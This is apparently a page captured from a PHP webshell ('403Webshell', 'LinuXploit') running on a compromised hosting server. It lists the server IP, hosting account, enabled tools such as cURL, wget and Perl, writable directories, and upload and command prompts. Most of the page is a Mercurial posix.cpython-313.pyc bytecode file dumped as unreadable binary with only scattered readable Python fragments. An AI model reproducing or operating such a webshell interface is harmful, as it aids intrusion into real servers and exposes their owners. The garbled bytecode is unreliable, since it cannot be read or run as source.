403Webshell
Server IP : 74.208.236.16  /  Your IP : 216.73.217.15
Web Server : Apache
System : Linux info 3.0 #1337 SMP Tue Jan 01 00:00:00 CEST 2000 all GNU/Linux
User : u102440577 ( 7172810)
PHP Version : 8.4.26
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /kunden/lib/python3/dist-packages/mercurial/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /kunden/lib/python3/dist-packages/mercurial/__pycache__/posix.cpython-313.pyc
�

6�h�_��r�%SSKJr SSKrSSKrSSKrSSKrSSKrSSKrSSKrSSK	r	SSK
r
SSKrSSKrSSK
r
SSKrSSK
JrJrJrJrJrJrJrJrJrJrJrJr SSKJr SSKJrJrJ r J!r! \ RD"S5r#\RHRJr%\RHRLr&\RHRNr'\RPr)\RVr+\RXr,\RZr-\R\r.\
R^(a#SOS	jr%SPS
jr'SQSjr)SOSjr+SRS
jr,SQSjr-SSSjr.Sr0S\1S'\Rd"S5r2S\1S'\Rd"\25 \!Rfr4STSjr5SUSjr6SVSjr7SWSjr8SXSjr9SYSjr:SZSjr;S[S\Sjjr<S]Sjr=S]Sjr>S^Sjr?S^S jr@S^S!jrAS_S"jrBS`S#jrCSOS$jrDSOS%jrESaS&jrFSaS'jrGSOS(jrH\R�R�rKS\1S)'\HrL\!R�(a SOS*jrH\R�R�rKSOS+jrL\!R�S,:Xa0\O"/S-QS.S/9rPSOS0jrH\R�R�rK\HrLS]S1jr=S]S2jr>\!R�S3:XaS]S4jr>SqRS5\1S6'SbS7jrSScS8jrTSdS9jrUSeS:jrVSfS;jrWS`S<jrX\
R�\
R�1r[SgS=jr\S_S>jr]ShSiS?jjr^ShSjS@jjr_SkSAjr`SlSBjraSCrbSmSDjrcSnSoSEjjrdS`SFjre"SGSH5rfSpSIjrgSpSJjrhSKriS_SLjrjSRSMjrkg!\*a	 SNSjr)GNjf=f)q�)�annotationsN)�Any�AnyStr�Callable�Iterable�Iterator�List�Match�NoReturn�Optional�Sequence�Tuple�Union�)�_)�encoding�error�policy�pycompat�osutilc�>�[[RSX4-5e)Ns!hardlinks not supported: %s to %s)�OSError�errno�EINVAL��src�dsts  �1/usr/lib/python3/dist-packages/mercurial/posix.py�oslinkr<s ����L�L�>�#��K�
�	
�c��[e�N��NotImplementedError��paths r�normpathr'I���!�!r c��[er"r#r%s r�abspathr*Lr(r c��[er"r#rs  rrrOr(r c��[er"r#r%s r�readlinkr-Rr(r c��[er"r#r%s r�unlinkr/Ur(r c��[er"r#rs  r�renamer1Xr(r c��[er"r#��names r�
removedirsr5[r(r F�bool�expandglobs�int�umaskc��URSS5n[U5S:XaSU4$USRS5nU(aX!S4$USS-US4$)a�Same as posixpath.split, but faster

>>> import posixpath
>>> for f in [b'/absolute/path/to/file',
...           b'relative/path/to/file',
...           b'file_alone',
...           b'path/to/directory/',
...           b'/multiple/path//separators',
...           b'/file_at_root',
...           b'///multiple_leading_separators_at_root',
...           b'']:
...     assert split(f) == posixpath.split(f), f
�/rr r)�rsplit�len�rstrip)�p�ht�nhs   r�splitrBgs`��
���$��	�B�
�2�w�!�|��A�v�
�	�A����d�	�B�	��a�5�y��
�a�5�4�<��A���r c��g)z@return true if it is safe to hold open file handles to hardlinksT�rDr r�
openhardlinksrE~s��r c�B�[R"U5R$)z-return number of hardlinks for the given file)�os�lstat�st_nlinkr3s r�nlinksrJ�s��
�8�8�D�>�"�"�"r c���USSn[RS:XaUSS:XaUSSnU$URS5(a!URS5(aS	U;aUSSnU$)
z<parses the output produced by patch and returns the filename�N�OpenVMSr�`r����'� )r�sysplatform�
startswith�endswith)�output_line�pfs  r�parsepatchoutputrW�sn��	�R�S�	�B����z�)�
�a�5�D�=��A�b��B��I��=�=����2�;�;�t�#4�#4�����A�b��B�
�Ir c���U=(a SX!4-=(d UnSUSS;a"[R"[S5U-5e[U5nU(aS[U5U4-nU$)zBuild argument list for sshs%s@%s�-Nrs4illegal ssh hostname or username starting with -: %ss-p %s %s)r�Abortr�
shellquote)�sshcmd�host�user�port�argss     r�sshargsra�so���-�X���,�5��D��t�B�Q�x���k�k�
�E�F��M�
�	
��d��D���j��.��5�5���Kr c�N�[R"U5RS-S:g$)z"check whether a file is executable�@r)rGrH�st_mode)�fs r�isexecrf�s ��
�8�8�A�;����&�!�+�+r c���[R"U5nURnU(ae[R"U5(dI[US5nUR
5nSSS5 [U5 [R"WU5 gg[R"U5(aQ[R"U5n[U5 [US5nURU5 SSS5 S[)-nUS-nURS:�an[U5[U5:waV[US5nUR
5nSSS5 [U5 [US5nURW5 SSS5 U(a/U(d([R"XUS-S-	[)--5 gU(d"U(a[R"XS-5 ggg!,(df   GN�=f![a; [US5nURW5 SSS5 g!,(df   g=ff=f!,(df   GNV=f!,(df   GN=f!,(df   N�=f)N�rb�wb�rcri$�)rGrHrd�stat�S_ISLNK�open�readr/�symlinkr�writer-r9rIr6�chmod)re�l�x�st�s�fp�data�sxs        r�setflagsrz�s���	���!��B�
�
�
�A���|�|�A����a���"��w�w�y����1�I�
#��
�
�4��#�	��|�|�A����{�{�1�~���q�	�
�!�T�]�b��H�H�T�N���U�F�N��	
�U��B�	�{�{�Q��4��7�d�2�h�.�
�!�T�]�b��7�7�9�D���q�	�
�!�T�]�b��H�H�T�N��	��	�����U��q�(�E�6�1�1�2�
�2�
�����I���Q�C���
�
#��!�T�]�b��H�H�T�N�#�]�	�	#�]�	��

#���]���]���]�sZ�G�6G0�H8�4I
�$I�
G-�0H5�H"�H5�"
H1	�,H5�1H5�8
I�

I�
I*c���[R"U5RS-nUnU(aU[
R-n[R"X5 g![a UnUc[)nUS-nNPf=f)z�Copy the file mode from the file at path src to dst.
If src doesn't exist, we're using mode instead. If mode is None, we're
using umask.�Nrj)rGrHrd�FileNotFoundErrorr9rl�S_IWUSRrr)rr�mode�enforcewritablerd�new_modes      r�copymoder��so����(�(�3�-�'�'�%�/���H���D�L�L� ���H�H�S��������?��f�G��5���	�s�#A�A6�5A6c��[R[R-[R-n[R
R
US5n[R
R
US5n[R
R
US5n[R
RU5(dS[R"U5 [R
RU5(a[XC5 O[X#5 [R
RU5(a�[R
R
US5n[R
R
US5n[R"U5RnXq-S:wa5[R"U5RnXq-S:Xag[!U5 [!U5 UnOUnS	n["R$"US
S9up�[R"U	5 [R"U
5RnXq-S:XayS[&)-n[R("X�S
-U-5 [R"U
5RU-S:wa,Ub[R*"X�5 S	n
U
b[!U
5 ggU
b[!U
5 g	g	![a GN�f=f![a> [US5R5 [R"U5RnGN]f=f![a GNOf=f!U
b[!U
5 ff=f![a gf=f)zq
Check whether the given path is on a filesystem with UNIX-like exec flags

Requires a directory (like /foo/.hg)
�.hg�wcachesstorescheckisexecschecknoexecr�wTNs
hg-checkexec-��dir�prefixrjr|F)rl�S_IXUSR�S_IXGRP�S_IXOTHrGr&�join�exists�mkdirr�r�isdirrdr}rn�closer/r�mkstempr9rrr1)r&�	EXECFLAGS�basedir�cachedir�storedir�checkisexec�checknoexec�m�checkdir�fh�fns           r�	checkexecr��s���C��L�L�4�<�<�/�$�,�,�>�	��'�'�,�,�t�V�,���7�7�<�<���3���7�7�<�<���2���w�w�~�~�h�'�'�
�����"��7�7�>�>�(�+�+��X�0��W�/��7�7�=�=��"�"��'�'�,�,�x��@�K��'�'�,�,�x��@�K�
$��G�G�K�(�0�0���=�A�%�9��G�G�K�0�8�8���}��)�#��;�'��{�#� �H��H��K��!�!�h�7G�H���
	��H�H�R�L������#�#�A��}��!��U�F�N�������Y��2�3��7�7�2�;�&�&��2�a�7�"�.��	�	�"�2�!����~��r�
��r�~��r�
���a�
��
��$-�9��[�#�.�4�4�6��G�G�K�0�8�8��9��%�
��
��N�~��r�
�������s��B6L?�9AJ>�>L?�?J>�
A%L?�0 L�L?� K�9L?�4L?�7B&L+�L?�.L?�>
K�L?�K�L?�AL�L?�L�L?�
L(�$L?�'L(�(L?�+L<�<L?�?
M�Mc��[RRUSS5n[RRUS5n[RRU5(ag[RR	U5(aUnOUnSn[
R"[R"U5SS9n[R"U5nSnUc?[R"USS9n[RRUR5nO<S	n[RRX5n[US
5R5 [R "Xd5 Uc[#U5 O[R$"XB5 UbUR5 gg![a gf=f![&a [#U5 N=f=f![(a UbUR5 GM�GM�f=f!UbUR5 ff=f![*a g[&aWnUR,[,R.:Xa/[RR1U5(a[#U5 SnAgSnAff=f)z?check whether the given path is on a symlink-capable filesystemTr�r�s	checklinkNz
checklink-r�s
hg-checklink-schecklink-targetr�F)rGr&r��islinkr��tempfile�mktempr�fsdecode�fsencode�
namedtempfile�basenamer4rnr��PermissionErrorrpr/r1r�FileExistsError�AttributeErrorr�EIOr�)	r&r��	checklinkr�r4�fd�target�fullpath�insts	         rr�r�>s����7�7�<�<��f�i�8���G�G�L�L��<�8�	�
�7�7�>�>�)�$�$��
�7�7�=�=��"�"��H��H��H�����!�!�(�+�M�
��� � ��&��+	��B����+�+� �)9������)�)�"�'�'�2��-��	!�!�w�w�|�|�H�=�H���3�'�-�-�/�
��
�
�6�(��#��4�L�%��	�	�$�2��
�>��H�H�J�"��+'�!�!�
!��#�%��t��%��#�
���>��H�H�J�"�	
���>��H�H�J�"���	���	��z�z�U�Y�Y�&�2�7�7�>�>�$�+?�+?��t����		�s��AH�9F&�%G�:F6�H�&
F3�0H�2F3�3H�6G�G�
G�G�
G6�G9�H�5G6�6G9�9H�H�
I>�	I>�'A
I9�9I>c��g)z�Check that the base-relative path is a valid filename on this platform.
Returns None if the path is ok, or a UI string describing the problem.NrDr%s r�checkosfilenamer�s��r c�2�[[SS5"U5$)z�Get the filesystem mount point from a directory (best-effort)

Returns None if we are unsure. Raises OSError on ENOENT, EPERM, etc.
�getfsmountpointc��gr"rD�rts r�<lambda>�!getfsmountpoint.<locals>.<lambda>�s��r ��getattrrr%s rr�r��s��
�6�,�n�=�d�C�Cr c�2�[[SS5"U5$)z�Get the filesystem type name from a directory (best-effort)

Returns None if we are unsure. Raises OSError on ENOENT, EPERM, etc.
�	getfstypec��gr"rDr�s rr��getfstype.<locals>.<lambda>�s��$r r�r%s rr�r��s��
�6�;��7��=�=r c�V�[R"[R"S55$)N�)r�
strtolocal�getpassrDr r�get_passwordr��s�����w���r�2�3�3r c��gr"rD)r�s r�	setbinaryr�����r c��U$r"rDr%s r�pconvertr������Kr c��U$r"rDr%s r�	localpathr��r�r c�@�[RRX5$)zsReturns whether path1 and path2 refer to the same file. This is only
guaranteed to work for files, not directories.)rGr&�samefile)�fpath1�fpath2s  rr�r��s���7�7���F�+�+r c��[R"U5n[R"U5nURUR:H$)zuReturns whether fpath1 and fpath2 are on the same device. This is only
guaranteed to work for files, not directories.)rGrH�st_dev)r�r��st1�st2s    r�
samedevicer��s3��
�(�(�6�
�C�
�(�(�6�
�C��:�:����#�#r c�"�UR5$r")�lowerr%s r�normcaser��s���:�:�<�r �normcasespecc�f�[R"U5$![a [U5s$f=f)a�
Normalize a filename for OS X-compatible comparison:
- escape-encode invalid characters
- decompose to NFD
- lowercase
- omit ignored characters [200c-200f, 202a-202e, 206a-206f,feff]

>>> normcase(b'UPPER')
'upper'
>>> normcase(b'Caf\xc3\xa9')
'cafe\xcc\x81'
>>> normcase(b'\xc3\x89')
'e\xcc\x81'
>>> normcase(b'\xb8\xca\xc3\xca\xbe\xc8.JPG') # issue3918
'%b8%ca%c3\xca\xbe%c8.jpg'
)r�
asciilower�UnicodeDecodeError�normcasefallbackr%s rr�r��s2��$	*��&�&�t�,�,��!�	*�#�D�)�)�	*�s��0�0c	���URS5n[R"SU5R5RS5n[R"U5$![a� SnSn[U5nX4:aY[R"X5nU[U5-
nO(![
a S[
XUS-5-nUS-
nOf=fX%-
nX4:aMYURS5nN�f=f)Nzutf-8r rs%%%02Xr�NFD)�decoder�r=r�getutf8char�
ValueError�ord�unicodedata�	normalizer��encode�hfsignoreclean)r&�urv�posrs�c�encs       rr�r��s���	"����G�$�A�$�#�#�E�1�-�3�3�5�<�<�W�E���&�&�s�+�+��'"�	"��A��C��D�	�A��'�� �,�,�T�7�A��3�q�6�M�C��!��!�C��3��7�(;�$<�<�A��1�H�C�������'�����!�A�	"�s;�A�C(�<$B!� C(�!"C�C(�C�C(�C(�'C(scygwin)s/usr/bins/usr/libs	/cygdriveT)�reversec��[U5nUS:XdUS[R:wa[R"U5$[
HbnUR
U5(dM[U5nX1:XaUs $X[R:XdMGU[R"XS5-s $ [R"U5$)Nr)r=r�ossepr�upper�cygwinmountpointsrS)r&�pathlen�mp�mplens    rr�r�s����d�)���q�L�d�1�g����7��>�>�$�'�'�$�B��?�?�2�&�&����G�E����	��{�h�n�n�,��H�N�N�4��<�8�8�8�$��~�~�d�#�#r c��g�NFrDr%s rr�r����r c��gr�rDr%s rr�r�!r�r rMc��gr�rDr%s rr�r�'r�r z3Optional[Callable[[bytes], Optional[Match[bytes]]]]�_needsshellquotec���[RS:XaSU-$[c [R"S5R
qU(a[U5(dU$SUR
SS5-$)NrMs"%s"s[^a-zA-Z0-9._/+-]s'%s'rPs'\'')rrRr��re�compile�search�replace�rvs rr[r[.s_�����z�)���{�����:�:�&;�<�C�C���!�!�$�$�������4��2�2�2r c�,�[R"USS9$)z7Parse a command string in POSIX shell way (best-effort)T)�posix)r�
shlexsplitr�s r�
shellsplitr;s�����q��-�-r c���[RS:Xag[R"US5 g![a'nUR
[
R:gsSnA$SnAff=f)z5return False if pid dead, True if running or not surerMTrN)rrRrG�killrr�ESRCH)�pidr�s  r�testpidr@sK�����z�)��)�
����Q�����)��z�z�U�[�[�(�(��)�s�/�
A �A�A �A c�F�UR[R"5:H$)z;Return True if the stat object st is from the current user.)�st_uidrG�getuid�rus r�isownerr
Ks��
�9�9��	�	��#�#r c���[RS:XaU$SSjn[RU;aU"U5$[RS:Xa&U"[RRSU55$[RRSS5R[R5H/nU"[RRX 55nUcM-Us $ g)	z�Find executable for command searching like which does.
If command is a basename then PATH is searched for command.
PATH isn't searched if command is an absolute or relative path.
If command isn't found None is returned.rMc��[RRU5(a,[R"U[R5(aU$gr")rGr&�isfile�access�X_OK)�
executables r�findexisting�findexe.<locals>.findexistingXs5��2�
�7�7�>�>�*�%�%�"�)�)�J����*H�*H���r splan9s/binsPATHr N)r�bytes�return�Optional[bytes])rrRr�rGr&r�r�environ�getrB�	ospathsep)�commandrr&rs    r�findexerPs���
���z�)�����~�~�� ��G�$�$����x�'��B�G�G�L�L��'�:�;�;�� � �$�$�W�c�2�8�8��9K�9K�L��!�"�'�'�,�,�t�"=�>�
��!���M�r c��gr"rDrDr r�setsignalhandlerrkr�r c#��# �[Rn[RnUH,nU"U5nU"UR5[
;aSnUv� M. g![[4a SnNf=f7f)zmStat each file in files. Yield each stat, or None if a file does not
exist or has a type we don't care about.N)rGrHrl�S_IFMTrd�_wantedkindsr}�NotADirectoryError)�filesrH�getkind�nfrus     r�	statfilesr$rsi���
�H�H�E��k�k�G���	��r��B��r�z�z�"�,�6�������
"�#5�6�	��B�	�s(�&A.�$A�
	A.�A+�(A.�*A+�+A.c�T�[R"[R"55$)zreturn name of current user)rr�r��getuserrDr rr&r&�s�����W�_�_�.�/�/r c��Uc[R"5n[R"[R
"U5S5$![a SU-s$f=f)zeReturn the name of the user with the given uid.

If uid is None, return the name of the current user.rs%d)rGrrr��pwd�getpwuid�KeyError)�uids r�usernamer,�sQ��
�{��i�i�k���� � ����c�!2�1�!5�6�6�����s�{���s�,A�A�Ac���Uc[R"5n[R"[R
"U5S5$![a [R"U5s$f=f)zgReturn the name of the group with the given gid.

If gid is None, return the name of the current group.r)rG�getgidrr��grp�getgrgidr*�bytestr)�gids r�	groupnamer3�sX��
�{��i�i�k��%�� � ����c�!2�1�!5�6�6���%�����$�$�%�s�,A� A*�)A*c���[R"U5n[R"[R[	[
R"U5R55$)zcReturn the list of members of the group with the given
name, KeyError if the group does not exist.
)rr��rapplyr��listr/�getgrnam�gr_memr3s r�groupmembersr9�s?�����T�"�D��?�?�8�,�,�d�3�<�<��3E�3L�3L�.M�N�Nr c�x�[R"[R[[SS5-USU5$)N�P_DETACHr)rG�spawnvp�P_NOWAITr�)r`s r�
spawndetachedr>�s+��
�:�:�b�k�k�G�B�
�A�$>�>��Q���N�Nr c�(�[RSS$)Nr)�sys�argvrDr r�gethgcmdrB�s���8�8�B�Q�<�r c�0�[R"U5 gr")rGr�)r&�
notindexeds  r�makedirrE�s
���H�H�T�Nr c��gr"rD)�key�valname�scopes   r�	lookupregrJ�s��
r c��g)z�Hide current shell window.

Used to hide the window opened when starting asynchronous
child process under Windows, unneeded on other systems.
NrDrDr r�
hidewindowrL�s��	r c�`�\rSrSr%S\S'S
SjrSSjr\RrSSjr	SSjr
Srg	)
�	cachestati��os.stat_resultrlc�:�[R"U5Ulgr")rGrl)�selfr&s  r�__init__�cachestat.__init__�s���G�G�D�M��	r c�@�[URR5$r")r6rl�st_ino)rQs r�	cacheable�cachestat.cacheable�s���D�I�I�$�$�%�%r c��URRURR:H=(Ga� URRURR:H=(Ga� URRURR:H=(GaN URRURR:H=(Ga URR
URR
:H=(a� URRURR:H=(a� URRURR:H=(a} UR[RUR[R:H=(a; UR[RUR[R:H$![a gf=fr�)rlrdrUr�rIr�st_gid�st_size�ST_MTIME�ST_CTIMEr��rQ�others  r�__eq__�cachestat.__eq__�s~��	��	�	�!�!�U�Z�Z�%7�%7�7�J�J��I�I�$�$��
�
�(9�(9�9�J�J��I�I�$�$��
�
�(9�(9�9�J�J��I�I�&�&�%�*�*�*=�*=�=�J�J��I�I�$�$��
�
�(9�(9�9�	J�
�I�I�$�$��
�
�(9�(9�9�J��I�I�%�%����);�);�;�
J��I�I�d�m�m�,��
�
�4�=�=�0I�I�J��I�I�d�m�m�,��
�
�4�=�=�0I�I�

���	��	�s�G,G/�/
G<�;G<c��X:X+$r"rDr]s  r�__ne__�cachestat.__ne__�s��� � r )rlN�r&rr�None�rr6)r^rrr6)�__name__�
__module__�__qualname__�__firstlineno__�__annotations__rRrV�object�__hash__r_rb�__static_attributes__rDr rrNrN�s'��
��"�&����H��*!r rNc�T�U(a [R"UR5$S$)z(check whether a stat result is a symlinkF)rlrmrdr	s r�
statislinkrp�s��')�4�<�<��
�
�#�4�u�4r c�8�U(aURS-S:g$S$)z1check whether a stat result is an executable filercrF)rdr	s r�
statisexecrr�s��(*�B�J�J���!�#�5��5r c
��[R"XU5n[[	[[
U/5555$![a [5ef=f)z�block until something happens on any file descriptor

This is a generic helper that will check for any activity
(read, write.  exception) and return the list of touched files.

In unsupported cases, it will raise a NotImplementedError)�selectr�r$�sortedr6�set�sum)�fds�ress  r�pollrz�sN��$��m�m�C�c�*���$�s�3�s�B�<�(�)�*�*���$�!�#�#�$�s�A�Ac��[R"U[R5nU[R-n[R"U[RU5n/nUR5nU(dOUR
U5 M,SRU5[R"U[RU5 $![a MDf=f![R"U[RU5 f=f)z$Read all available data from a pipe.r )	�fcntl�F_GETFLrG�
O_NONBLOCK�F_SETFLro�appendrr�)�pipe�flags�oldflags�chunksrvs     r�readpiper�s���

�K�K��e�m�m�,�E�	�R�]�]��E��{�{�4�����6�H�
3����
��I�I�K�����
�
�a� ���x�x���
���D�%�-�-��2���
��
��
	���D�%�-�-��2�s<� C�$C�;C�<C�
C�
C�C�C�C�(C?c��[RRU5up#SnU(a;[R"S[R5n[R
"U5 UR
U5 U(a[R"U5 U(a[R"U5 gg!U(a[R"U5 ff=f)z1Bind the UNIX domain socket to the specified pathN�.)	rGr&rBrn�O_DIRECTORY�chdir�bind�fchdirr�)�sockr&�dirnamer��bakwdfds     r�bindunixsocketr�s���
���
�
�d�+��G��G�	���g�g�d�B�N�N�3�G��H�H�W���	�	�(����I�I�g����H�H�W����7��H�H�W���s�A0B4�4 C)rrrrrr)r&rrr)r&rrr)rrrrrrerd)r4rrre)r?rrzTuple[bytes, bytes]rf)r4rrr8)rUrrr)
r\rr]rr^rr_rrr)rerrr6)rerrsr6rtr6rrer�)
rrrrr�
Optional[int]r�r6rre)r&rrr6)r&rrr)rr)rre)r�rr�rrr6)rvrrr)rvrr�List[bytes])rr8rr6)rurOrr6)rrrr)r!zSequence[bytes]rz"Iterator[Optional[os.stat_result]]r")r+r�rr)r2r�rr)r4rrr�)r`r�rr8)r&rrDr6rre)NN)rGrrHrrIz#Optional[Union[int, Iterable[int]]]rr)ruzOptional[os.stat_result]rr6)l�
__future__rrr|r�r/rGr(r�rtrlr@r��typingr�rrrrrr	r
rrr
rr�i18nrr�rrrr�	importmodrr&r'�samestatr*�linkrr�r-r/r1r5�
TYPE_CHECKINGr7rkr9rn�	posixfilerBrErJrWrarfrzr�r�r�r�r�r�r�r�r�r�r�r�r��
normcasespecsr�r�r��isdarwinrRrur�r^r�r[rrr
rr�S_IFREG�S_IFLNKrr$r&r,r3r9r>rBrErJrLrNrprrrzr�r�rDr r�<module>r�so��#����
�	�
�	�
��
��
��
�
�
�
����
�	�	�(�	#��
�7�7����
�7�7����
�'�'�/�/��

�
�W�W�F��;�;��	����	����
�]�]�
�	���"�"�"�"�"�"�"���T��
�X�X�a�[��s��������M�M�	��.�
#�
	������&5��=L��
��,�
)�^�!�	�	��	�����	�

��2N�b>�B�D�>�4�	���,�$��
�*�*�0�0��c�0������*�.�)�)�/�/�L�,�2���9�$��	
�
�
��$�&�)�)�/�/�L��������:�%��IM��E�L�
3�.�
)�$�
�6	����d�l�l�+���0�

�
%�O�O��� $�15��	��
��/���	�	�!!�!!�H5�
6�
+�3�2��G�
�

�
�s�?L'�'L6�5L6

Youez - 2016 - github.com/yon3zu
LinuXploit